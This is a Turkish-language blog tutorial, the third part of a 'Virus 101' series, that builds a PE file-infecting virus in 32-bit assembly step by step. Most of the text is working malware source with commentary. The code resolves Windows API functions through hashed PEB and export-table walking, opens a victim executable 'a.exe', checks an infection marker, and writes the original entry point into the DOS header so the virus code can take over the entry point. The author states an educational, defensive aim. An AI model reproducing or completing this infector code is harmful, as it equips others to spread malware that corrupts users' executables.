14 Haziran 2015

Virüs 101 – Nasıl Virüs Yazılır – Bölüm 3

Bir önceki makalemizde geliştirme stratejimize, PE dosya formatı üzerinde bizi etkileyen başlıca alanlara ve virüs bulaşmış bir çalıştırılabilir dosyanın neye benzeyebileceğine değindik.

Bu bölümde virüs kodumuzu geliştireceğiz. Başlamadan önce ahlaki konuların üzerinden kısaca geçelim. Bu çalışmadaki amacımız zararlı yazılıma teşvik veya çok tehlikeli bir kodun ortaya salıverilmesi değil. Şu bir gerçek ki zararlı yazılım yazanların bizim makalemize ihtiyacı yok, muhtemelen bizden çok daha ileri teknikleri de biliyorlar. Bizim amacımız başetmek durumunda olduğumuz bir tehdidi iyi tanımak. Paylaşacağım kodları incelediğinizde sizin de farkedeceğiniz gibi, mükemmel bir kod paylaştığımı söyleyemem, daha akıllıca düzenlemeler yapılabilirdi. Bunu Assembly seviyesinde söylüyorum tabi, bu seviyede işler biraz daha zor. Ek olarak kodları kullanmayı deneyecek arkadaşların farkedeceği bir durumu da paylaşayım, bulaşma işlemi her PE dosyasında işe yaramıyor. Her PE dosyasında yaraması için PE dosya başlığının bütünlüğünü korumak için daha fazla geliştirme yapılması gerekiyor. Bu da dokümante edilmemiş olan işletim sistemi yükleme adımının tersine mühendisliğinin yapılması ile mümkün. Bu durum çıtayı oldukça yükseltiyor, yani paylaşacağımız kodlar hemen alıp ne işe yaradıklarını anlamadan ve daha da geliştirilmeden zarar vermek için kolayca kullanılabilecek kodlar değil.

Diğer taraftan binlerce kitapta ve makalede bulunan virüs şudur, bunun şu türleri vardır, v.s. v.s. türü üstünkörü bilgilerden sıkılanlar ve gerçekten problemin ne olduğunu anlama ihtiyacı hisseden meslektaşlarımız ve güvenliğe ilgi duyan kişiler için bir ışık tutmak istedik. Bu konuda beni en iyi anlayacak olanlar Amazon’dan malware konusuyla ilgili tonla kitap alıp zaman kaybından ve hayal kırıklığından başka birşey yaşamayanlar olacaktır.

Artık işe koyulalım. Bu konuyu çok net biçimde anlamak isteyen arkadaşlar, lütfen materyali tekrar etsinler ve eksikliğini hissettikleri temel bilgiler için gerekli kaynakları incelesinler. Bu kaynakların başında Stack Tabanlı Hafıza Taşma Açıklıkları ve Exploit Shellcode Geliştirme video serilerimizi verebilirim. Yılmayın, hayat bilince daha güzel. Bilenleri işe alabilenler için daha da güzel.

Öncelikle kodumuzu Assembly diliyle geliştiriyoruz, çünkü başka hiçbir dil bize ihtiyacımız olan esnekliği vermiyor. Örneğin başka dillerde FS register’ına ulaşma imkanımız yok. Ayrıca kodumuz kendini herhangi bir dosyanın yüklendiği herhangi bir adreste bulacak. Yani import edilmiş fonksiyonları kullanma şansı yok. Bu yönüyle exploit shellcode’ları ile aynı kaderi paylaşacak. Bu nedenle de high level diller zaten bir işimize yaramayacak.

Her derleyici üreticisinin geliştirdiği pek çok optimizasyon yöntemi var, dolayısıyla benim yazdığımdan daha verimli kod üretebilirler, ama bazı durumlarda tam tersi de mümkün. Ben en çok stack’in yönetiminde ve ihtiyacım olan register değerlerinin ezilmemesi konusunda zorlandım. Kodla ilgili en utandığım kısım burası, stack yönetimi ve register’ların yönetimi daha iyi olabilirdi. Yine de bu alanda derleyicilerin de bağlı kaldığı calling convention’lara elimden geldiğince bağlı kalmaya çalıştım. Calling convention konusu en çok tersine mühendislik yapmak isteyebilecek arkadaşlar için önemli. Aslına bakarsanız exploit shellcode geliştirme, tersine mühendislik ve zararlı yazılım geliştirme konuları birbirleri ile iç içe. Hepsi temelde aynı bilgilere sahip olmayı gerektiriyor. Bu üçünden hangisinde ilerlerseniz diğer ikisine de faydası var.

Kodumuz NASM Assembler’ına derlenecek kodun 32 bit olması gerektiğini belirterek başlıyor.


[BITS 32]


Stratejimiz gereği uygulamanın ilk çalıştırılacak kodu bizim kodumuz olacak, biz daha sonra orjinal başlangıç adresine akışı yönlendireceğiz. Ancak her uygulamanın başlangıç koduna atlanmadan önce bir startup kodu çalışır. Bu kodun register’ları hangi değerlerle başlangıç koduna teslim ettiğini, bu değerlerin uygulamanın akışında önemli olup olmadığını anlamak pek de pratik olmayacağı için öncelikle register değerlerini daha sonra tekrar register’lara yüklemek üzere stack’e yazıyoruz.


; EAX hariç tüm genel amaçlı register'ları Shellcode'umuza girilmeden önceki halleri ile saklıyoruz 
push ebx ; callee saved register
push esi ; callee saved register
push edi ; callee saved register
push ecx ; caller saved register
push edx ; caller saved register
push ebp ; stack frame tabanı
push esp ; stack tavanı


Burada tek tek registerları stack’e yazmak yerine “pushad” instruction’ı ile tüm genel amaçlı register’ları stack’e yazabilirdim. Ama EAX register’ına fonksiyon geçişlerinde ihtiyacım olacak ve zaten onu bozacağım. Bu nedenle tüm fonksiyon çağrılarında da bu riski aldım ve bir sıkıntı çıkmadı. Benzer şekilde burada da bir problem olmadı.

Uygulamanın ilk yapacağı iş uygulama dosyasının bulunduğu dizinde bulunan “a.exe” isimli bir dosya varsa onu açmak olacak. Assembly seviyesinde ve hele de ihtiyaç duyacağımız kütüphanelerin fonksiyonlarını import etme imkanımız olmadığı için bunu söylemek yapmaktan oldukça kolay.

Shellcode çalışmamızda da detaylı olarak açıklandığı gibi, “kernel32.dll” kütüphanesi bizim için çok önemli. Bu kütüphane tüm proses’lerin hafıza alanına yüklenen (daha doğrusu map’lenen) bir kütüphane ve shellcode açısından çok kıymetli bir fonksiyonu barındırıyor “LoadLibrary”.

İçinde çalıştığımız prosesin hafıza alanına ihtiyaç duyduğumuz kütüphaneyi yüklemek zorundayız. Bu modül de (kütüphaneler de prosesin kendisi gibi bizim için birer modüldür) “fopen”, “fseek” ve diğer ihtiyaç duyduğumuz fonksiyonları barındıran “msvcr120.dll” modülü.

Bir müdülü yüklemek için kullanacağımız fonksiyon da LoadLibrary fonksiyonu olacak. Bir fonksiyonu çağırmak için iki şeyi bilmemiz gerekiyor, fonksiyonun adresi ve aldığı parametreler (ve tabi hangi sırada bu parametreleri beklediği). Bir fonksiyonun adresini bulmak içinse (shellcode’un zor yaşam koşulları içinde) öncelikle fonksiyonun içinde barındığı modülün baz adresini bulmamız gerekiyor.
Öncelikle LoadLibrary fonksiyonunu barındıran kernel32.dll kütüphanesinin baz adresini bulalım:


;kernel32.dll modül adresinin bulunması
push 0x772a2220 ; hash(kernel32.dll)
call modul_bul ;EAX ile modül baz adresini döndürür
add esp, 4; call parametre alanını geri veriyoruz


Burada assembly kodumuzun içinde hazırladığımız modul_bul fonksiyonumuzu kullanıyoruz. Fonksiyonumuza parametre olarak bir hash değeri veriyoruz. Bu hash’in hesaplanma mantığı modul_bul fonksiyonunun içinde de gözlenebilir. “modul_bul” fonksiyonunu aşağıda görebilirsiniz:


modul_bul :
; EAX hariç tüm register'ları saklıyoruz, EAX'e sonuç döndürmek için ihtiyacımız var
push ebx
push esi
push edi
push ecx
push edx
push ebp
push esp
 
mov edx, [fs:0x30] ; PEB adresi
mov edx, [edx + 0x0c]; PEB LOADER DATA adresi
mov edx, [edx + 0x1c]; Başlatılma sırasına göre modül listesinin başlangıç adresi # sonraki modülleri bulabilmek için EDX'e dokunulmamalı
 
sonraki_modul :
mov esi, [edx + 0x20]; esi = InInitOrder[0].module_name(unicode) # modül adının adresi
 
modul_hash_hesaplama_bolumu :
xor edi, edi
xor eax, eax
cld; lodsw instructionı ESI register ını yanlışlıkla aşağı yönde değiştirmesin diye emin olmak için kullanıyoruz
 
modul_hash_hesaplama_dongusu :
lodsw; ESI nin işaret ettiği mevcut fonksiyon adı Unicode harfini(yani iki byteı) AX registerına yüklüyoruz ve ESI yi bir artırıyoruz
test ax, ax; Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz
jz modul_hash_karsilastirma; AX register değeri 0 ise, yani fonksiyon adını tamamlamışsak hesaplamayı sona erdiriyoruz
ror edi, 0xf; Hash değerini 15 bit rotate ettiriyoruz
add edi, eax; Hash değerine mevcut karakteri ekliyoruz
jmp modul_hash_hesaplama_dongusu
 
modul_hash_karsilastirma : 
mov eax, [edx + 0x08] ; Modül baz adresi EAX'e atanıyor
mov edx, [edx]; liste bileşeninin flink değeri 
;cmp edi, [esp + 0x10] ;Hesaplanan hash değerinin stackte parametre olarak verilen modül hash değeri ile tutup tutmadığını kontrol ediyoruz
cmp edi, [esp + 0x20] ;Hesaplanan hash değerinin stackte parametre olarak verilen modül hash değeri ile tutup tutmadığını kontrol ediyoruz
jnz sonraki_modul
 
modul_bulundu : ; Bu noktada EAX register'ına modül baz adresi atanmış durumdadır.
pop esp
pop ebp
pop edx
pop ecx
pop edi
pop esi
pop ebx
ret


Modul_bul fonksiyonu içinde shellcode tekniklerini kullanıyoruz. İlk olarak FS register’ının işaret ettiği alanın hex 30 offset adresinde bulunan PEB adresini, bu adresin hex 0C offset adresinde PEB LOADER DATA adresini ve bu adresin de hex 1C offset’inde başlatılma sırasına göre modül listesinin başlangıç adresini buluyoruz. Sadece bu paragraf bile tek başına sizi yıldırabilir, bu satırları sırf sizin kafanız karışsın diye yazmıyorum. Ama bu tekniklerin detayına gireceğimiz yer bu makale değil. Bu konuları zaten Exploite Shellcode Geliştirme video serimizde derinlemesine açıklıyoruz. Lütfen virüs makalalerini genel hatları ile anlamaya çalışın, eksik kalan konuları diğer makalelerimiz ve videolarımızdan tamamlayın.

Başlatılma sırasına göre modül listesi bir zincir listedir. Her bir zincir bileşeninin içinde diğer zincir bileşeninin adresi bulunur. Bu adres de zincir bileşeninin 0X20 offset adresinde bulunmaktadır. Kodun içinde yeterince yorum bilgisi bulunuyor. Bu yüzden önemli olduğunu düşündüğüm bölümleri açıklamakla yetineceğim.

Burada yapacağımız işlem temel olarak hafızada yüklü olan tüm modüllerin isimlerinin bulunduğu veri alanlarını bulmak, bu isimlerin her birisi için kullanacağımız hash algoritması ile modül isminin hash değerini hesaplamak ve modul_bul fonksiyonuna parametre olarak verilen hash değeri ile karşılaştırmak. Daha sonra isminin hash değeri tutan modülün baz adresini yine zincir bileşeni içinden okumak ve EAX register’ı ile döndürmek.

Modül hash hesaplama döngüsü bölümünde de görebileceğiniz gibi hash değerini hesaplama yöntemimiz her bir karakteri AX register’ına atmak, EDI register’ında bulunan veriyi 15 bit sağa doğru kaydırmak (rotate ettirmek), ve daha sonra EAX register’ını EDI register’ı ile toplayarak yine EDI register’ında sonucu saklamak. EDI register’ı son karaktere gelindiğinde hesaplanmış hash değerini barındıracaktır. Kullandığımız hashing algoritması elbette kriptografik olarak oldukça yetersiz bir algoritma. Mesela hash değerinin uzunluğu 32 bit ve sırf bu yüzden bile çarpışma ihtimali çok yüksek. Ancak burada hafızada yüklü modül (ve daha sonra kullanacağımız için fonksiyon) isimlerinin hash değerlerinin birbirinden farklı olması bizim için yeterli.

Modül ve fonksiyon isimlerinin bulunmasında hash değeri kullanmamızın kodumuzun string’lerin incelenmesi ile kolayca anlaşılamamasına ve ayrıca az da olsa kod büyüklüğümüzü azaltmada bize faydası var. Bu yöntem exploit kodları için de aynı faydaları sağlıyor.

İzlediğimiz zincir bileşenlerinin her birinin 0X08 offset adresinde ilgili modülün baz adresi bulunuyor. Eğer hash değerimiz tutmuşsa bu değer EAX register’ında saklı bulunuyor, fonksiyonumuz EAX hariç tüm genel amaçlı register’ları eski haline getirerek dönüyor (return ediyor).

Kernel32.dll kütüphanesinin baz adresini bulduktan sonra bu kütüphane içinde LoadLibrary fonksiyonunun adresini bulmamız gerekiyor.


;LoadLibraryA fonksiyon adresinin bulunması (kernel32.dll kütüphanesinde)
push eax ;kernel32.dll modül adresi
push 0x583c436c ;hash(LoadLibraryA)
call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür
add esp, 8; call parametre alanını geri veriyoruz


Burada da kütüphane baz adresini bulmak için yaptığımız gibi bir fonksiyonu çağırıyor ve fonksiyon adının hash değerini parametre olarak bu fonksiyona veriyoruz. Ancak bu sefer fonksiyon ismini hangi kütüphanede arayacağımız bilgisini de fonksiyona aktarmamız lazım. EAX register’ında bulunan bu bilgiyi de stack’e yazıyoruz.


fonksiyon_bul:
; EAX hariç tüm register'ları saklıyoruz, EAX'e sonuç döndürmek için ihtiyacımız var
push ebx
push esi
push edi
push ecx
push edx
push ebp
push esp
 
mov ebp, [esp + 0x24] ;Modül adresini al
mov eax, [ebp + 0x3c] ;MSDOS başlığını atlıyoruz
mov edx, [ebp + eax + 0x78] ;Export tablosunun RVA adresini edx e yazıyoruz
add edx, ebp ;Export tablosunun VA adresini hesaplıyoruz
mov ecx, [edx + 0x18] ;Export tablosundan toplam fonksiyon sayısını sayaç olarak kullanmak üzere kaydediyoruz
mov ebx, [edx + 0x20] ;Export names tablosunun RVA adresini ebx e yazıyoruz
add ebx, ebp ;Export names tablosunun VA adresini hesaplıyoruz
 
sonraki_fonksiyon : ;fonksiyon_bulma_dongusu:
dec ecx ;Sayaç son fonksiyondan başlayarak başa doğru azaltılır
mov esi, [ebx + ecx * 4] ;Export names tablosunda sırası gelen fonksiyon adının pointerının VA adresini hesaplıyoruz ve pointer ı ESI a atıyoruz (pointer RVA formatında)
add esi, ebp ;Modül baz adresini fonksiyon pointerının RVA adresine ekleyerek fonksiyon pointer'ının VA adresini hesaplıyoruz
 
fonksiyon_hash_hesaplama_bolumu :
xor edi, edi
xor eax, eax
cld ;lods instructionı ESI register ını yanlışlıkla aşağı yönde değiştirmesin diye emin olmak için kullanıyoruz
 
fonksiyon_hash_hesaplama_dongusu :
lodsb ;ESI nin işaret ettiği mevcut fonksiyon adı harfini (yani bir byteı) AL registerına yüklüyoruz ve ESI yi bir artırıyoruz
test al, al ;Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz
jz fonksiyon_hash_karsilastirma ;AL register değeri 0 ise, yani fonksiyon adını tamamlamışsak hesaplamayı sona erdiriyoruz
ror edi, 0xf ;Hash değerini 15 bit sağa rotate ettiriyoruz
add edi, eax ;Hash değerine mevcut karakteri ekliyoruz
jmp fonksiyon_hash_hesaplama_dongusu
 
fonksiyon_hash_karsilastirma :
cmp edi, [esp + 0x20] ;Hesaplanan hash değerinin stackte parametre olarak verilen fonksiyon hash değeri ile tutup tutmadığını kontrol ediyoruz
jnz sonraki_fonksiyon
 
fonksiyon_bulundu : ;Fonksiyon adının hash değeri tuttuktan sonra fonksiyon adresi EAX register'ına aktarılır
mov ebx, [edx + 0x24] ;Fonksiyonun adresini bulabilmek için Export ordinals tablosunun RVA adresini tespit ediyoruz
add ebx, ebp ;Export ordinals tablosunun VA adresini hesaplıyoruz
mov cx, [ebx + 2 * ecx] ;Fonksiyonun Ordinal numarasını elde ediyoruz (ordinal numarası 2 byte)
mov ebx, [edx + 0x1c] ;Export adres tablosunun RVA adresini tespit ediyoruz
add ebx, ebp ;Export adres tablosunun VA adresini hesaplıyoruz
mov eax, [ebx + 4 * ecx] ;Fonksiyonun ordinal numarasını kullanarak fonksiyon adresinin RVA adresini tespit ediyoruz
add eax, ebp ;Fonksiyonun VA adresini hesaplıyoruz
 
pop esp
pop ebp
pop edx
pop ecx
pop edi
pop esi
pop ebx
ret


Fonksiyon bulma fonksiyonumuzda izlediğimiz temel strateji ilgili modülün baz adresine ulaştıktan sonra Portable Executable (PE) dosya formatının kurallarına uygun biçimde Export edilen fonksiyonların adlarını sıra ile işlemek ve bu adların hash’lerini hesaplayarak parametre olarak aldığımız hash değeri ile karşılaştırmak.

Bunu yaparken ayrıca bir de sayaç kullanıyor ve kaçıncı sıradaki fonksiyon adının hash değerinin tuttuğunu takip ediyoruz. Çünkü Export tabloları 3 adet, isim tablosu, ordinal tablosu ve adres tablosu. Bizim tam olarak adres bilgisine ihtiyacımız var. Ancak adresi bulmak için önce fonksiyon adının bulunduğu sıradaki ordinal bilgisine ulaşmalı, buradan öğrendiğimiz sıra bilgisi yardımı ile de adres tablosundaki bilgiye ulaşıyoruz.

PE dosya formatı ve export tablosu hakkında detaylı bilgileri Stack Tabanlı Hafıza Taşma Açıkları ve Exploit Shellcode Geliştirme video serilerimizde bulabilirsiniz.

Fonksiyonun adresi olarak elde ettiğimiz değer Relative Virtual Address (RVA), yani modül baz adresinden itibaren fonksiyonun hangi adreste bulunduğu bilgisi. Virtual Address (VA), yani prosesin hafıza alanında fonksiyonun hangi adreste bulunduğunu ise RVA değerine modül baz adresini ekleyerek buluyoruz. Daha sonra bu değeri EAX register’ı içinde döndürüyoruz.

Uzun uğraşlar sonunda LoadLibrary fonksiyonunun adresini bulduktan sonra artık prosesin hafızasında yüklü olmayan farklı bir modülü hafıza alanına yükleyebiliriz.

İlk ihtiyacımız olan kütüphane dosya okuma, yazma, v.d. ihtiyaçlarımıza yönelik fonksiyonları barındıran “msvcr120.dll” kütüphanesi.


; LoadLibraryA fonksiyonunu çağırmak için "msvcr120.dll" string'ini stack'e yazıyoruz
push 0 ; C string'in sonu
push 0x6c6c642e ; "lld."
push 0x30323172 ; "021r"
push 0x6376736d ; "cvsm"
push esp ;String'in stack'teki adresini stack'e yazıyoruz
call eax ; call LoadLibraryA
add esp, 16 ; call parametre alanını geri veriyoruz
 
mov esi, eax ; ESI callee saved bir register olduğu için MSVCR120.DLL modülünün adresini bu register'da saklayacağız
; ESI = MSVCR120.DLL


LoadLibrary fonksiyonunun aldığı parametreleri, parametre sırası ve veri tiplerini MSDN veya başka kaynaklardan bulabiliriz. Yukarıdaki koda göre LoadLibrary fonksiyonu tek bir parametre alıyor, o da yükleyeceğim modülün adının adresi. Burada yine küçük bir shellcode tekniği kullanıyoruz, ayrı bir data section’ımız olmayacağı için string verilerimizi stack’e yazmak zorundayız. Daha sonra stack pointer’ı bu string’in adresi olarak kullanabiliriz.

Yüklenen kütüphanenin baz adresi EAX register’ı içinde döndürülüyor. Biz bu değeri daha sonra da birkaç defa kullanacağımız ve her seferinde aynı yolu defalarca yürümemek için ESI register’ında tutacağız.

Virüs kodumuzun temel işlevi bünyesinde bulunduğu proses’in dosya imajının bulunduğu dizinde yer alan “a.exe” isimli bir dosyayı açmaya çalışmak, bu isimde bir dosya varsa kendini bu dosyaya kopyalamaktı. Bu yüzden öncelikle msvcr120.dll kütüphanesinde yer alan “fopen” fonksiyonunun adresini bulmalıyız.


;fopen fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x0442088e ;hash(fopen)
call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz


Fopen fonksiyonunun adresi EAX register’ında bize döndürülüyor. Şimdi sıra “a.exe” dosyasının açılmasında.


;Kurban dosyanın açılması
push 0x00000065 ; "\0\0\0e"
push 0x78652e61 ; "xe.a"
mov ebx, esp ;Dosya adı string'inin stack'teki adresini EBX register'ına atıyoruz
push 0x002b6272 ; "\0+br"
push esp ;Dosya açma modu string'inin stack'teki adresini stack'e yazıyoruz
push ebx ;Dosya adı string'inin stack'teki adresini stack'e yazıyoruz
call eax ; call fopen("filename","br+")
add esp, 20 ;Stack'te tükettiğimiz alanları ve fopen parametreleri için alınan alanı geri veriyoruz


Fopen fonksiyonunu binary read write modunda a.exe dosyasını açmak için kullanıyoruz. Bu fonksiyonu çağırdıktan sonra fonksiyon başarılı olup olmadığı bilgisini EAX register’ında döndürüyor. Bu register convention olarak genellikle fonksiyon sonucunu döndürmek için kullanılıyor, biz de fonksiyonlarımızda benzer bir yaklaşımı kullanıyoruz. Şimdi “a.exe” adlı bir dosyayı açmayı başarabilmiş miyiz kontrol edelim.


test eax, eax ;Eğer dosya mevcut ve başarı ile açıldıysa EAX register'ı 0'dan farklı bir değer olmalı
jz son_nokta ; Dosya açılamadıysa uygulama akışını orjinal entry point'e yönlendirme noktasına atlıyoruz


Eğer EAX register’ının değeri 0’dan farklı ise kodumuzun içindeki son_nokta label’ının bulunduğu yere atlıyoruz. Bu a.exe dosyasının bulunmaması veya başka bir nedenle gerçekleşebilir.

Eğer dosyamızı başarı ile açabilmişsek bir sonraki adımda dosya imajının içinde hemen IMAGE_DOS_HEADER başlığında bulunan OEM alanına ilerliyoruz. Bu alanda orjinal Entry Point değerini saklayacağımızı ikinci bölümde belirtmiştik. Bu yüzden bu alanın 0’dan farklı olup olmadığını kontrol edeceğiz. Eğer 0’dan farklı ise bu dosyanın zaten enfekte olduğu anlamına gelecek bizim için. Bu yöntem çok güvenilir bir yöntem mi, hayır değil. Çünkü OEM Identifier ve OEM Information alanlarının 0’dan farklı olduğu pek çok PE dosyası var. O yüzden niyetimiz ciddi olsa idi enfekte olup olmama kontrolünü daha güvenilir bir yöntemle yapmamış gerekirdi.


mov ebx, eax ; file handle'ını EBX register'ına atıyoruz (FILE *stream)
 
; #define SEEK_CUR    1
; #define SEEK_END    2
; #define SEEK_SET    0
; int fseek(FILE *stream, long offset, int origin)
 
;fseek fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x0462085f ; hash(fseek)
call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür
add esp, 8; call parametre alanını geri veriyoruz
mov edi, eax ;fseek fonksiyonunun adresini EDI'a atıyoruz
; EDI = FSEEK
 
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push 0x24 ; OEM alanı offset değeri
push ebx ; file handle'ı yukarıda EBX'e atılmıştı
call edi ; call fseek(FILE *stream, long offset, int origin)
add esp, 12 ;call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz


Yukarıda da gördüğünüz gibi OEM alanlarının adresine ilerlemek için önce fseek fonksiyonunun adresini bulduk, daha sonra da bu fonksiyona verdiğimiz file handle parametresi, offset değeri ve origin (bizim durumumuzda dosyanın başından itibaren, yani SEEK_SET ile) parametreleri ile fonksiyonu çağırdık.

Bir sonraki aşamada bu adresteki değeri okumamız ve sıfır olup olmadığını incelememiz lazım.


; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
 
;fread fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push esi ; msvcr120.dll modül adresi
push 0x04520858 ;hash(fread)
call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür
add esp, 8; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
mov ecx, eax ; fread fonksiyonunun adresini ECX'e yazıyoruz
; ECX = FREAD
 
sub esp, 4 ; buffer için yer açıyoruz
mov edx, esp ; buffer adresini EDX'e atıyoruz
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push edx ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
; ESP+4'teyiz
 
; OEM alanında yer alan veri 0'dan farklı ise dosya zaten infected olduğundan kodu sonlandırıyoruz
mov eax, [esp] ; Buffer'daki değeri EAX'e atıyoruz
add esp, 4 ; Buffer alanını geri veriyoruz (ESP'yi yine orjinal seviyesine indiriyoruz)
; ESP orjinal noktasında
test eax, eax ; OEM alanındaki verinin 0 olup olmadığını kontrol ediyoruz
jnz son_nokta ; Eğer 0'dan farklı ise daha önceden enfekte olmuştur, program orjinal noktadan devam edebilir


Bu adımda da benzer şekilde fread fonksiyon adresini buluyoruz, fread fonksiyonuna uygun parametreleri stack’e yazıyoruz (parametreler ile ilgili detaylı bilgi MSDN’de bulunabilir) ve bu fonksiyonu çalıştırıyoruz. Fread okuduğu 4 byte’ı stack’te bizim gösterdiğimiz alana yazıyor, biz de bu değeri EAX register’ına attıktan sonra sıfır olup olmadığını kontrol ediyoruz.

Eğer dosya enfekte olmamış ise aşağıdaki işlemleri gerçekleştiriyoruz.

İlk amacımız orijinal giriş adresi değerini okumak ve daha sonra bu değeri OEM alanına yazmak. Çünkü orijinal giriş adresinin bulunduğu alanı virüs kodumuzu yazacağımız adres olarak ezeceğiz ve bulaştığımız dosyadaki virüs kodumuz çalışmasını bitirdiğinde uygulamanın normal akışına devam edebilmesi için bu adrese ihtiyacımız olacak.


; 1. AMAÇ: Address of Entry Point değerini oku ve OEM değerine yaz
; OEM alanına yazılan orjinal Address of Entry Point değeri shellcode'umuz çalıştıktan sonra uygulamanın normal akışına devam etmesi için kullanılacak
 
; IMAGE_NT_HEADERS offset'ine git
push ecx ; push *fread
push edi ; push *fseek
push ebx ; FILE *stream
call image_nt_headers_offsetine_yuru 
add esp, 12 ; call parametre alanını geri veriyoruz
 
; IMAGE_NT_HEADERS içinde 0x28 offset'e git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 1 ; SEEK_CUR
push 0x28 ; IMAGE_NT_HEADERS içinde 0x28 offset'i
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
; Address of Entry Point değerini oku
sub esp, 4 ; buffer için yer açıyoruz
mov edx, esp ; buffer adresini EDX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push edx ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
; ESP+4'teyiz (EDX tarafından işaret ediliyor)
 
; OEM değerinin bulunduğu 0x24 offset'ine git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push 0x24 ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
; size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
 
;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x11380979 ; hash(fwrite)
call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür
add esp, 8; call parametre alanını geri veriyoruz
 
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - yazma sayısı
push 1 ; size - her seferinde yazılacak veri miktarı
push edx ; buffer
call eax ; call fwrite
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
add esp,4 ; Buffer için aldığımız alanı da iade ediyoruz
; ESP orjinal noktasında


Bu bölüm ve sonrakiler adım adım anlatmak için oldukça uzun. Özetle Address of Entry Point değerinin bulunduğu noktadaki veriyi stack’te bir alana yazdıktan sonra bu değeri fwrite fonksiyonu yardımıyla OEM alanlarına yazıyoruz. Stack’te sakladığımız değerin adresini EDX register’ı ile takip ediyoruz. Bu bölümde ve sonrakilerde elbette optimizasyon yapılabilir, ancak işler çığırından çıkmasın diye gereksiz de olsa EDX register’ını korumak için dikkatli oluyoruz.

Bulaşacağımız dosya içinde çok defa ve farklı hedef adresleri bulmak zorundayız. Buradaki baş ağrımızı biraz daha azaltabilmek için bir fonksiyon yazdık. Bu fonksiyon bizi IMAGE_NT_HEADERS alanına kadar ilerletecek. Teorik olarak bu adrese ulaşmak için kullanmamız gereken ve IMAGE_DOS_HEADER başlığının sonunda bulunan Offset to New EXE Header değeri değişebilir. O yüzden her seferinde bu değerini okumamız gerekir. “image_nt_headers_offsetine_yuru” fonksiyonu sayesinde bu işlemi tekrar tekrar kodlamaktan kurtulmayı amaçlıyoruz.


image_nt_headers_offsetine_yuru :
; EAX hariç tüm register'ları saklıyoruz, EAX'e sonuç döndürmek için ihtiyacımız var
push ebx
push esi
push edi
push ecx
push edx
push ebp
push esp
 
mov ebp, esp ; prolog
 
push 0 ; SEEK_SET
push 0x3C ; IMAGE_DOS_HEADER içinde 0x3C offset'te IMAGE_NT_HEADERS offset değerini bulacağız.
mov ebx, [ebp + 32]
push ebx ; FILE *stream
call [ebp + 36] ; call fseek
add esp, 12
 
; 0x3C'yi (IMAGE_NT_HEADERS offset değerini) oku
sub esp, 4 ; buffer için yer aç
; ESP+4
mov edx, esp ; buffer adresini EDX'e ata
mov ebx, [ebp + 32] ; FILE *stream
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push edx ; buffer
call [ebp + 40] ; call fread
add esp, 16
 
; IMAGE_NT_HEADERS offset değerini ESI'ye atıyoruz
mov esi, [esp]
add esp, 4
 
; IMAGE_NT_HEADERS offset'ine git
push 0 ; SEEK_SET
push esi ; IMAGE_NT_HEADERS offset'i
mov ebx, [ebp + 32] ; FILE *stream
push ebx ; FILE *stream
call [ebp + 36] ; call fseek
add esp, 12
mov eax, esi
 
; Tüm register'ları eski haline getiriyoruz
pop esp
pop ebp
pop edx
pop ecx
pop edi
pop esi
pop ebx
ret


